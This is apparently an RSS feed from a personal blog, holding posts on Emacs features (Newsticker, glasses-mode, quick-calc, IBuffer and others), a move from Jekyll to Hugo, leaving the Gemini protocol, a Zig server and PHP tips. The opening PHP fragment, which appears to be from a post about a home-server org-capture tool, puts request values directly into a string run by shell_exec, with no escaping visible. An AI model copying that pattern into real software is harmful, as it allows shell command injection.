&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $cmd &lt;span style="color:#f92672">.=&lt;/span> &lt;span style="color:#e6db74">&amp;#34; (org-capture nil &lt;/span>&lt;span style="color:#ae81ff">\\\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">j&lt;/span>&lt;span style="color:#ae81ff">\\\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">)&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $cmd &lt;span style="color:#f92672">.=&lt;/span> &lt;span style="color:#e6db74">&amp;#34; (insert &lt;/span>&lt;span style="color:#ae81ff">\\\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">{&lt;/span>$title&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#ae81ff">\\\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">)&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $cmd &lt;span style="color:#f92672">.=&lt;/span> &lt;span style="color:#e6db74">&amp;#34; (end-of-buffer) (org-return) (org-cycle)&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> $cmd &lt;span style="color:#f92672">.=&lt;/span> &lt;span style="color:#e6db74">&amp;#34; (insert &lt;/span>&lt;span style="color:#ae81ff">\\\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">{&lt;/span>$content&lt;span style="color:#e6db74">}&lt;/span>&lt;span style="color:#ae81ff">\\\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">) (org-capture-finalize))&lt;/span>&lt;span style="color:#ae81ff">\&amp;#34;&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">shell_exec&lt;/span>($cmd);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">?&amp;gt;&lt;/span>&lt;span style="color:#960050;background-color:#1e0010">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;br/>
&lt;p>I start it with &lt;code>php -S 0.0.0.0:8080&lt;/code> and it just works. It knows what templates I use and it knows where the &lt;code>org-directory&lt;/code> is. &lt;br/>
I deployed it to my home server (just a laptop in my closet) and run it using &lt;a href="https://www.portainer.io/">Portainer&lt;/a>.&lt;/p>
&lt;p>My home server is constantly available for me thanks to &lt;a href="https://tailscale.com/">Tailscale&lt;/a> so I can access it outside of my home.&lt;/p>
&lt;h2 id="why-not">Why not&lt;/h2>
&lt;h3 id="why-not-orgzly">Why not Orgzly&lt;/h3>
&lt;p>&lt;a href="https://github.com/orgzly-revived/orgzly-android-revived">Orgzly&lt;/a>, for those who doesn&amp;rsquo;t know, is an Android app that
allows to interact with org-mode files. One can import org files in it and then just update them on the go.
Synchronization among machines can be done with &lt;a href="https://syncthing.net/">Syncthing&lt;/a>.&lt;/p>
&lt;p>It&amp;rsquo;s very good app and I was using it for journaling a lot.
Often times though, I want to add a note to my journal and then I realize that I need to create
all the subheadings for today manually to follow the format I defined in my &lt;code>org-capture-templates&lt;/code>. Not a big deal and it worked
for awhile but it stopped me from dumping my thoughts into the journal quite a few times.&lt;/p>
&lt;h3 id="why-not-emacs-on-android-or-termux--emacs">Why not Emacs on Android or Termux + Emacs&lt;/h3>
&lt;p>Both are great solutions as soon as one plugs in a keyboard into their phone. Using Emacs on a touch-screen is of course possible
but the amount of frustration I get in the first 10 seconds of using it feels very much unjustified.&lt;/p>
&lt;h3 id="why-not-run-the-same-script-on-your-phone-locally">Why not run the same script on your phone locally&lt;/h3>
&lt;p>In this case I don&amp;rsquo;t need the whole home server setup with tailscale and portainer. Just syncthing which I already have would do the job.&lt;br/>
Good point. I just wanted to have a bit more fun than that :)&lt;/p></description></item><item><title>Newsticker - Emacs built-in RSS reader</title><link>https://codelearn.me/2025/04/09/emacs-newsticker.html</link><pubDate>Wed, 09 Apr 2025 16:47:34 +1000</pubDate><guid>https://codelearn.me/2025/04/09/emacs-newsticker.html</guid><description>&lt;p>I&amp;rsquo;ve been browsing Emacs&amp;rsquo;s &lt;strong>The Info Directory&lt;/strong> (C-h i) the other day and came across a menu item called &lt;strong>Newsticker&lt;/strong>.&lt;/p>
&lt;p>Turned out is a built-in RSS reader I never heard of.
I know Emacs has &lt;strong>Gnus&lt;/strong> which I tried to use as RSS reader before but didn&amp;rsquo;t succeed.
Then, as probably most of Emacs users, I moved to &lt;strong>Elfeed&lt;/strong> which is great.&lt;/p>
&lt;p>Here is how Newsticker looks like:&lt;/p>
&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/newsticker-treeview.png" width="100%"/>
&lt;p>isn&amp;rsquo;t it nice? You can open it with &lt;strong>M-x newsticker-show-news&lt;/strong>.&lt;/p>
&lt;p>It&amp;rsquo;s been a few weeks since I decided to use it.&lt;/p>
&lt;h3 id="navigation">Navigation&lt;/h3>
&lt;p>Navigation is very simple:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>f&lt;/strong> and &lt;strong>F&lt;/strong> for switching feeds forward/backward&lt;/li>
&lt;li>&lt;strong>n&lt;/strong> and &lt;strong>p&lt;/strong> for switching posts&lt;/li>
&lt;li>&lt;strong>&amp;lt;RET&amp;gt;&lt;/strong> to read full article&lt;/li>
&lt;/ul>
&lt;h3 id="configuration">Configuration&lt;/h3>
&lt;p>Setting feeds is only slightly different from Elfeed:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(&lt;span style="color:#66d9ef">setq&lt;/span> newsticker-url-list &lt;span style="color:#f92672">&amp;#39;&lt;/span>(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#e6db74">&amp;#34;Planet Emacslife&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;https://planet.emacslife.com/atom.xml&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (&lt;span style="color:#e6db74">&amp;#34;&amp;lt;name&amp;gt;&amp;#34;&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;lt;url&amp;gt;&amp;#34;&lt;/span>)))
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Also when &lt;strong>q&lt;/strong> is pressed the whole Newsticker is closed BUT its buffers are still there
which I don&amp;rsquo;t really like.&lt;/p>
&lt;p>So I came up with this elisp:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-lisp" data-lang="lisp">&lt;span style="display:flex;">&lt;span>(defun my/close-newsticker ()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;Kill all tree-view related buffers.&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (kill-buffer &lt;span style="color:#e6db74">&amp;#34;*Newsticker List*&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (kill-buffer &lt;span style="color:#e6db74">&amp;#34;*Newsticker Item*&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> (kill-buffer &lt;span style="color:#e6db74">&amp;#34;*Newsticker Tree*&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>(advice-add &lt;span style="color:#e6db74">&amp;#39;newsticker-treeview-quit&lt;/span> &lt;span style="color:#e6db74">:after&lt;/span> &lt;span style="color:#e6db74">&amp;#39;my/close-newsticker&lt;/span>)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now when &lt;strong>newsticker-treeview-quit&lt;/strong> function is called the Newsticker buffers getting killed too.&lt;/p>
&lt;h3 id="why-use-built-in-tools">Why use built-in tools&lt;/h3>
&lt;p>I remember I&amp;rsquo;ve read, I think in &lt;a href="https://irreal.org/blog/">Irreal&amp;rsquo;s blog&lt;/a> about not understanding some people&amp;rsquo;s obsession to use built-in tools in Emacs.&lt;/p>
&lt;p>I can&amp;rsquo;t quite explain it either but I do feel drawn towards built-in tools too haha.&lt;/p>
&lt;p>Naturally I try to track/think about every extension I add to my config
to make sure it&amp;rsquo;s up to date, not abandoned, supports my version of emacs, how much dependencies it has, etc. And even when everything is ok, I still
feel like someone can take it from me if let&amp;rsquo;s say a maintainer will decide to archive the project or something.&lt;/p>
&lt;p>It just sits in my brain on the background and slowly drains my energy.
It&amp;rsquo;s maybe silly reason but I just feel more vulnerable with more dependencies.&lt;/p>
&lt;p>Anyways, I suggest you to try &lt;strong>Newsticker&lt;/strong>, it&amp;rsquo;s very interesting mode.&lt;/p></description></item><item><title>Abandoning Gemini (the protocol)</title><link>https://codelearn.me/2025/04/01/abandoning-gemini.html</link><pubDate>Tue, 01 Apr 2025 21:07:02 +1100</pubDate><guid>https://codelearn.me/2025/04/01/abandoning-gemini.html</guid><description>&lt;p>I&amp;rsquo;ve been running my own &lt;a href="https://en.wikipedia.org/wiki/Gemini_(protocol)">Gemini&lt;/a> capsule (web site) on my cheap DigitalOcean droplet for a few years.&lt;/p>
&lt;p>For those who doesn&amp;rsquo;t know what Gemini is: is a minimal web protocol (think of HTTP).
It serves pages containing &lt;code>gemtext&lt;/code> (think of HTML) which is super minimal too.
No CSS. No JS.&lt;/p>
&lt;p>The whole vibe of it reminds me of the old web that I actually never been part of but romanticised it in my head enough to be in love with it.&lt;/p>
&lt;p>I have been part of way purer web though.&lt;/p>
&lt;ul>
&lt;li>The Web without GDPR/Cookie popups.&lt;/li>
&lt;li>Search engines that were closer to grep which were surprisingly pleasant to use.&lt;/li>
&lt;li>The Web that loaded faster than anything is loading right now even though I was using crappy and slow internet connection.&lt;/li>
&lt;/ul>
&lt;br>
Gemini idea made me feel warmth and I started to serve this blog in its space.
&lt;p>Recently I even made &lt;a href="https://codelearn.me/2025/03/20/gemini-server-zig.html">my own Gemini server&lt;/a>.&lt;/p>
&lt;p>I thought using and contributing to this protocol is going to make it more popular and maybe even change the &amp;ldquo;current web&amp;rdquo;.&lt;/p>
&lt;p>And then something clicked in my brain and I realized that I just lie to myself.&lt;/p>
&lt;ul>
&lt;li>The problem with current web is not HTTP protocol. In fact HTTP protocol is amazing and relatively simple.
It is quite flexible too.&lt;/li>
&lt;li>&lt;code>gemtext&lt;/code> is kind of cool but HTML is even better.
You still can find a browser or a browser extension that will stop loading JS and images if that&amp;rsquo;s your thing.
Even pure HTML allows web creators to express themselves by styling their web sites.&lt;/li>
&lt;li>But the biggest lie is that I don&amp;rsquo;t use it. I like the idea. I do have a web site in Gemini space. But I don&amp;rsquo;t even open any ones
capsule and read stuff. In the beginning I did but most if not all capsules have regular web (HTTP) versions available to which I often could
just subscribe to with my RSS reader. Or open them in my browser which is configured with all the things I like (unlike Gemini browsers).&lt;/li>
&lt;/ul>
&lt;img alt="hermit logo" src="https://codelearn.me/assets/img/no-gemini.png" width="100%"/>
&lt;p>I&amp;rsquo;m going to shut down my capsule in Gemini space and continue living my life with HTTP.
It gave me (and continuing giving) so much great stuff and the fact that it&amp;rsquo;s broken
is sad and I should try to make it better place instead of dropping it because it changed.&lt;/p></description></item><item><title>This blog has been migrated from Jekyll to Hugo</title><link>https://codelearn.me/2025/03/30/jekyll-to-hugo.html</link><pubDate>Sun, 30 Mar 2025 14:04:19 +1100</pubDate><guid>https://codelearn.me/2025/03/30/jekyll-to-hugo.html</guid><description>&lt;p>I have migrated this blog to Hugo yesterday.&lt;/p>
&lt;p>It was fun journey and I spent about 5 hours doing it.&lt;/p>
&lt;h2 id="why-change">Why change&lt;/h2>
&lt;p>Recently I bought a relatively cheap laptop which I decided to use as my &amp;ldquo;Productivity Laptop&amp;rdquo;. I have
Void-Linux installed and I only run Emacs and Firefox on it. There are more to it but that&amp;rsquo;s maybe a story
for another blog post.&lt;/p>
&lt;p>Long story short one of the outcomes of using that productivity laptop is &lt;a href="https://github.com/krydos/gemini-server">my Gemini server written in Zig&lt;/a>.
When I wanted to write &lt;a href="https://codelearn.me/2025/03/20/gemini-server-zig.html">a blog post&lt;/a> about it on the same laptop I found that I have to:&lt;/p>
&lt;ul>
&lt;li>install ruby&lt;/li>
&lt;li>install gem and bundler&lt;/li>
&lt;li>install jekyll and its dependencies&lt;/li>
&lt;/ul>
&lt;p>Instead I could also &amp;ldquo;just&amp;rdquo; install docker/podman and use Ruby or even &lt;a href="https://hub.docker.com/r/jekyll/jekyll">Jekyll specific container&lt;/a>.&lt;/p>
&lt;p>I felt like it&amp;rsquo;s just too much for a simple task as writing a blog post.&lt;/p>
&lt;h2 id="why-hugo">Why Hugo&lt;/h2>
&lt;p>It&amp;rsquo;s just a single native binary. Everything I mentioned in previous section is solved by just this single native binary.&lt;/p>
&lt;p>I did have an idea to use Emacs org-mode for blogging or even write my own static site generator tailored specifically for my needs.
The latter was especially tempting but I&amp;rsquo;m glad I didn&amp;rsquo;t go this path. Would&amp;rsquo;ve taken more than 5 hours for sure.
I also generally try to resist Emacs power of seducing me into using it for everything.&lt;/p>
&lt;h2 id="migration---easy-parts">Migration - easy parts&lt;/h2>
&lt;p>Hugo has &lt;code>hugo import jekyll&lt;/code> command which basically copies all the posts and assets into Hugo&amp;rsquo;s folder structure.&lt;/p>
&lt;p>&lt;code>hugo new theme&lt;/code> - is for generating a new color theme to use for the blog. This is where all the css and html layout is defined.&lt;/p>
&lt;p>I just had to migrate all the html/css into that new theme.&lt;/p>
&lt;h2 id="migration---not-that-easy-parts">Migration - not that easy parts&lt;/h2>
&lt;h3 id="code-highlighting">Code highlighting&lt;/h3>
&lt;p>Code highlighting is a bit different in Hugo as in different css/html is generated for it. I still haven&amp;rsquo;t fixed it properly but it&amp;rsquo;s not that
bad at the moment.&lt;/p>
&lt;h3 id="url-schema">URL schema&lt;/h3>
&lt;p>URL style is completely different in hugo and I had to make the URL schema the same as in Jekyll because of links to my blog
in the internet. Plus I didn&amp;rsquo;t want to disturb search engines.&lt;/p>
&lt;p>There is a way to define &lt;code>url&lt;/code> property in every post to customize it but doing it for every post sounds strange.&lt;/p>
&lt;p>Fortunately hugo allows to configure it.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-toml" data-lang="toml">&lt;span style="display:flex;">&lt;span>[&lt;span style="color:#a6e22e">permalinks&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [&lt;span style="color:#a6e22e">permalinks&lt;/span>.&lt;span style="color:#a6e22e">page&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">post&lt;/span> = &lt;span style="color:#e6db74">&amp;#39;/:year/:month/:day/:contentbasename&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This is how I did it. &lt;code>post&lt;/code> is the folder name where I keep all my posts.&lt;/p>
&lt;h3 id="rss">RSS&lt;/h3>
&lt;p>Fortunately hugo generates RSS automatically and has a feed per tag too.&lt;/p>
&lt;p>On of the issues is that my Emacs RSS feed is shared with Sacha Chua&amp;rsquo;s &lt;a href="https://planet.emacslife.com/">planet.emacslife.com&lt;/a>.
It means that the URL to that feed must have staid the same and Hugo default path for generating RSS for a tag is completely different from Jekyll.&lt;/p>
&lt;p>To fix it I had to generate &lt;code>./content/tags/emacs/_index.md&lt;/code> file with this content:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-markdown" data-lang="markdown">&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>url: &amp;#39;feed/by_tag/emacs.xml&amp;#39;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>description: &amp;#39;Posts about Emacs - the best text editor&amp;#39;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>---
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>it made Hugo to generate rss feed for this particular tag at that particular URL I specified.&lt;/p>
&lt;h2 id="result">Result&lt;/h2>
&lt;p>There were and still are a few nice things I&amp;rsquo;d like to do but in general the migration went smooth.
I&amp;rsquo;m writing this post from my productivity laptop and the only thing I needed to do is download
&lt;a href="https://github.com/gohugoio/hugo/releases">hugo binary from the release page&lt;/a>&lt;/p>
&lt;p>This migration also gave me opportunity to remove all &lt;code>scss&lt;/code> files that I used only for keeping variables in (css is now fully capable of that),
remove some unused styles and review the whole html layout of this blog.&lt;/p>
&lt;p>I&amp;rsquo;m quite happy with the outcome.&lt;/p></description></item><item><title>Gemini Server in ~150 lines of Zig</title><link>https://codelearn.me/2025/03/20/gemini-server-zig.html</link><pubDate>Thu, 20 Mar 2025 00:00:00 +0000</pubDate><guid>https://codelearn.me/2025/03/20/gemini-server-zig.html</guid><description>&lt;p>I&amp;rsquo;ve been running my &lt;a href="gemini://g.codelearn.me">Gemini capsule&lt;/a> for a few years
and also recently I got interested in Zig programming language.&lt;/p>
&lt;p>Combining these two facts I came up with &lt;a href="https://github.com/krydos/gemini-server">this Gemini Server implementation&lt;/a> that is
about 150 lines long (including comments).&lt;/p>
&lt;h2 id="what-i-like">What I like&lt;/h2>
&lt;p>Actually, the original idea was to implement it in Rust. And I started it in Rust.
But after a few hours (spanned across multiple days) of writing Rust I felt like
whatever I want to do is not acceptable and there is the only one correct path to do things
(and Rust compiler will happily guide you).&lt;/p>
&lt;p>It&amp;rsquo;s not bad. Just not fun.&lt;/p>
&lt;p>As soon as I switched to Zig the whole process just started to feel better.
I felt so much relief and there were even days when I woke up earlier before work
to write some Zig.&lt;/p>
&lt;p>There are many articles about pros and cons of Zig so I&amp;rsquo;m not going to list them again (almost) but
I want to note that the language is a joy to work with and I haven&amp;rsquo;t felt that much fun in a long time.&lt;/p>
&lt;p>Exploring its source code and std library is another incredibly fun experience. It&amp;rsquo;s super clean and understandable.&lt;/p>
&lt;p>It also feels very safe to write it.
It has optionals, error types, enums. The compiler will tell you if you forgot to handle an error somewhere.&lt;/p>
&lt;h2 id="what-i-didnt-like">What I didn&amp;rsquo;t like&lt;/h2>
&lt;p>The only thing I didn&amp;rsquo;t like is how slow the compilation is. It&amp;rsquo;s just annoying.&lt;/p>
&lt;p>Although the Zig itself is quick. The iterative approach when you try to compile a program, see error, fix error and repeat is
working completely fine in Zig. They even have &lt;code>zig build --watch&lt;/code> which is very handy.&lt;/p>
&lt;p>The slow part comes in when everything is fine and there are no errors. As far as understand as soon as LLVM gets involved the things gets slow
and LLVM is involved if there are no errors in your Zig program.&lt;/p></description></item><item><title>Emacs: glasses-mode</title><link>https://codelearn.me/2025/02/24/emacs-glasses-mode.html</link><pubDate>Mon, 24 Feb 2025 00:00:00 +0000</pubDate><guid>https://codelearn.me/2025/02/24/emacs-glasses-mode.html</guid><description>&lt;p>Let&amp;rsquo;s say I have this code (TypeScript) with long &lt;strong>camelCased&lt;/strong> variable names.
&lt;a target="_blank" href="https://codelearn.me/assets/img/typescript-long.png">&lt;img alt="typescript code with long names" src="https://codelearn.me/assets/img/typescript-long.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>I&amp;rsquo;m ok with &lt;strong>camelCase&lt;/strong> variables especially if this is a convention for a language.
But at the same time I find it a bit difficult to read compared to &lt;strong>underscore_case&lt;/strong> style.&lt;/p>
&lt;p>Meet &lt;code>M-x glasses-mode&lt;/code>.&lt;/p>
&lt;p>A beautiful minor mode that is there, built-in, since Emacs 21.
Look what it does
&lt;a target="_blank" href="https://codelearn.me/assets/img/typescript-long-underscores.png">&lt;img alt="typescript code with long names but this type every name has underscores" src="https://codelearn.me/assets/img/typescript-long-underscores.png" width="600px"/>&lt;/a>&lt;/p>
&lt;p>The mode doesn&amp;rsquo;t change text in the buffer. It just makes it look like &lt;strong>camelCase&lt;/strong> variable names became &lt;strong>underscore_case&lt;/strong>.
It is possible to keep editing the buffer and variable names will adjust on the fly. You can use your &lt;code>M-x rg&lt;/code> or &lt;code>M-x grep&lt;/code> and they will search for the
text under cursor in &lt;strong>camelCase&lt;/strong> because, again, text in the buffer isn&amp;rsquo;t changed.&lt;/p>
&lt;p>Amazing.&lt;/p></description></item><item><title>Emacs: quick-calc</title><link>https://codelearn.me/2024/12/22/emacs-quick-calc.html</link><pubDate>Sun, 22 Dec 2024 00:00:00 +0000</pubDate><guid>https://codelearn.me/2024/12/22/emacs-quick-calc.html</guid><description>&lt;p>You probably have heard about famous emacs &lt;code>M-x calc&lt;/code>.
I always wanted to become a poweruser of it but never could. My needs are too simple for it, I just want to quickly add/subtract numbers.&lt;/p>
&lt;p>Recently I&amp;rsquo;ve discovered built-in &lt;code>M-x quick-calc&lt;/code> which is perfect for what I need. It is already bound to &lt;code>C-x * q&lt;/code>.&lt;/p>
&lt;p>You can quickly calculate what&amp;rsquo;s needed
and the result is going to be saved to the kill-ring. You can paste the result in place if you want by prefixing the command with &lt;code>C-u&lt;/code>.&lt;/p>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/emacs-quick-calc-1.png">&lt;img alt="emacs quick calc expression" src="https://codelearn.me/assets/img/emacs-quick-calc-1.png"/>&lt;/a>
&lt;a target="_blank" href="https://codelearn.me/assets/img/emacs-quick-calc-2.png">&lt;img alt="emacs quick calc result" src="https://codelearn.me/assets/img/emacs-quick-calc-2.png"/>&lt;/a>&lt;/p>
&lt;p>Emacs has everything :)&lt;/p></description></item><item><title>Emacs: which-function-mode</title><link>https://codelearn.me/2024/02/02/emacs-which-function-mode.html</link><pubDate>Fri, 02 Feb 2024 00:00:00 +0000</pubDate><guid>https://codelearn.me/2024/02/02/emacs-which-function-mode.html</guid><description>&lt;h2 id="the-problem">The problem&lt;/h2>
&lt;p>I sometimes work with long functions or big org subtrees and it&amp;rsquo;s not always clear
what function or org subtree I&amp;rsquo;m in right now.
I wish there is a package that can show me what function I&amp;rsquo;m in.&lt;/p>
&lt;h2 id="which-function-mode">which-function-mode&lt;/h2>
&lt;p>&lt;a target="_blank" href="https://codelearn.me/assets/img/which-function-mode.png">&lt;img alt="trace output" src="https://codelearn.me/assets/img/which-function-mode.png" width="800px"/>&lt;/a>&lt;/p>
&lt;p>Turns out Emacs has this mode built-in so this functionality is just &lt;code>M-x which-function-mode&lt;/code> away.
It shows in the status line a function name I&amp;rsquo;m currently in (see &lt;code>[encode_terminal_code]&lt;/code> on the screenshot above).
It&amp;rsquo;s global mode so as soon as it&amp;rsquo;s enabled, you&amp;rsquo;ll see it&amp;rsquo;s working for every buffer.
You can have it enabled on Emacs startup by adding &lt;code>(which-function-mode)&lt;/code> to your config file.
&lt;br>&lt;br>
I just started to get benefits of this mode but it&amp;rsquo;s already surprising how well it works:&lt;/p>
&lt;ul>
&lt;li>it works in various prog modes&lt;/li>
&lt;li>it works in org mode&lt;/li>
&lt;li>it even works in markdown files&lt;/li>
&lt;/ul>
&lt;p>It doesn&amp;rsquo;t seem to work in html files I tried it with or modes that use html (e.g. vuejs or laravel blade files).
&lt;br>It definitely not an issue for me so I&amp;rsquo;m going to continue using it and &lt;strong>I suggest you to try it out&lt;/strong>.&lt;/p></description></item><item><title>sandbox.smtp.mailtrap.io port 25 isn't available anymore</title><link>https://codelearn.me/2023/12/12/mailtrap-port-25-doesnt-work-anymore.html</link><pubDate>Tue, 12 Dec 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/12/12/mailtrap-port-25-doesnt-work-anymore.html</guid><description>&lt;p>I can&amp;rsquo;t connect to port 25 anymore.
I noticed it in a Laravel application but the issue exists for everyone.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>nc -vvv sandbox.smtp.mailtrap.io &lt;span style="color:#ae81ff">25&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>just doesn&amp;rsquo;t connect.&lt;/p>
&lt;p>It&amp;rsquo;s been an issue for a few weeks now.&lt;/p>
&lt;p>To fix it just change the port 25 to 2525 (this one doesn&amp;rsquo;t require TLS).&lt;/p></description></item><item><title>Composer install - ignore php version constrains</title><link>https://codelearn.me/2023/12/11/php-composer-ignore-php-version.html</link><pubDate>Mon, 11 Dec 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/12/11/php-composer-ignore-php-version.html</guid><description>&lt;h2 id="solution">Solution&lt;/h2>
&lt;p>Just run this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>composer install --ignore-platform-req&lt;span style="color:#f92672">=&lt;/span>php
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="issue">Issue&lt;/h2>
&lt;p>I often have an issue when after upgrading PHP to a newer versions I can&amp;rsquo;t do &lt;code>composer install&lt;/code>
anymore because one or more libraries haven&amp;rsquo;t updated their &lt;code>require.php&lt;/code> section to support
newer version of the language.&lt;/p>
&lt;p>Moreover, even if you manage to install new versions of those libs you still may have other
projects on your machine that require older version of php (my case).&lt;/p>
&lt;p>I also prefer to have programming languages installed on my machine directly without any docker stuff that would potentially solve this issue. Also I&amp;rsquo;m not aware of any solutions like NVM or RVM for PHP.&lt;/p>
&lt;br>
[Found this info in this post](https://php.watch/articles/composer-ignore-platform-req). Check it out for some more tips.</description></item><item><title>Emacs: Did you know about IBuffer?</title><link>https://codelearn.me/2023/11/15/emacs-ibuffer.html</link><pubDate>Wed, 15 Nov 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/11/15/emacs-ibuffer.html</guid><description>&lt;h2 id="the-problem">The problem&lt;/h2>
&lt;p>Sometimes I use &lt;code>C-x C-b&lt;/code> to get list of buffers so I can
clean it up a little after some time.
To do it I mark some buffers with &lt;code>d&lt;/code> (to delete) and then press &lt;code>x&lt;/code>.&lt;/p>
&lt;p>Today I wanted to filter that list of buffers to a particular project/folder and turned out I can&amp;rsquo;t. &lt;br>
There is no way to filter &lt;strong>*Buffer List*&lt;/strong>.&lt;br>&lt;/p>
&lt;h2 id="ibuffer">IBuffer&lt;/h2>
&lt;p>If you look up for Buffer Menu in EmacsWiki you&amp;rsquo;ll find the &lt;a href="https://www.emacswiki.org/emacs/BufferMenu">Enhancements section&lt;/a> which mentions &lt;code>IBufferMode&lt;/code> which is built-in since Emacs 22.&lt;/p>
&lt;p>This mode is literally Buffer Menu on steroids. Looks pretty much the same so from UI perspective you&amp;rsquo;ll see no changes (almost).&lt;/p>
&lt;p>To filter buffers by directory just type &lt;code>/ F&lt;/code> and enter the project/folder name.
The only thing left is &lt;code>C-x h d x&lt;/code> to mark all buffers and delete them.&lt;br>
To remove all the applied filters just do &lt;code>/ /&lt;/code>.&lt;/p>
&lt;p>The number of filtering commands available by default is great.&lt;br>
You can find them by &lt;code>C-h m&lt;/code> (describe-mode) and then look for &amp;ldquo;Filtering commands&amp;rdquo; section. Go through other sections as well to get more familiar with ibuffer capabilities.&lt;/p>
&lt;h2 id="doom--spacemacs">Doom &amp;amp; Spacemacs&lt;/h2>
&lt;p>If you&amp;rsquo;re Doom user you probably already enjoying this mode since it&amp;rsquo;s enabled by default.&lt;br>
In Spacemacs you can enable it by turning on &lt;code>ibuffer&lt;/code> layer.&lt;/p>
&lt;p>Both of these config distributions remap standard &lt;code>C-x C-b&lt;/code> to call &lt;code>ibuffer&lt;/code> and I suggest you do the same if you use custom config like me.&lt;/p></description></item><item><title>Emacs find-grep-dired: Filter files based on content</title><link>https://codelearn.me/2023/10/17/emacs-find-grep-dired.html</link><pubDate>Tue, 17 Oct 2023 00:00:00 +0000</pubDate><guid>https://codelearn.me/2023/10/17/emacs-find-grep-dired.html</guid><description>&lt;h2 id="intro">Intro&lt;/h2>
&lt;p>We all need to search in files sometimes, right?&lt;/p>
&lt;p>I usually do it using &lt;code>grep -ri 'search term' .&lt;/code> in the terminal (often in vterm-mode)
and then I either open the file(s) in Emacs or in any other program.&lt;/p>
&lt;p>But Emacs has better solution to it.&lt;/p>
&lt;h2 id="find-grep-dired">find-grep-dired&lt;/h2>
&lt;p>There is &lt;code>M-x find-grep-dired&lt;/code> already built-in to Emacs.
If you call it from Dired buffer it will auto-complete the current folder
and then you just need to enter the search term.&lt;/p>
&lt;p>Cool thing is that result of this function is just filtered Dired buffer which means
you can perform regular Dired operations on the found files (delete them, move to another folder, etc).&lt;br>
This especially come in handy if you have &lt;code>(setq dired-dwim-target t)&lt;/code> and another Dired buffer opened in split so you
can quickly move files between splits (Far/Total Commander style).&lt;/p>
&lt;h2 id="configuration">Configuration&lt;/h2>
&lt;p>&lt;code>M-x find-grep-dired&lt;/code> is as quick as &lt;code>grep&lt;/code> is. &lt;br>
According to this function&amp;rsquo;s help page you can change &lt;code>grep-program&lt;/code> variable
if you want to use rg, ag or whatever&amp;hellip;&lt;br>
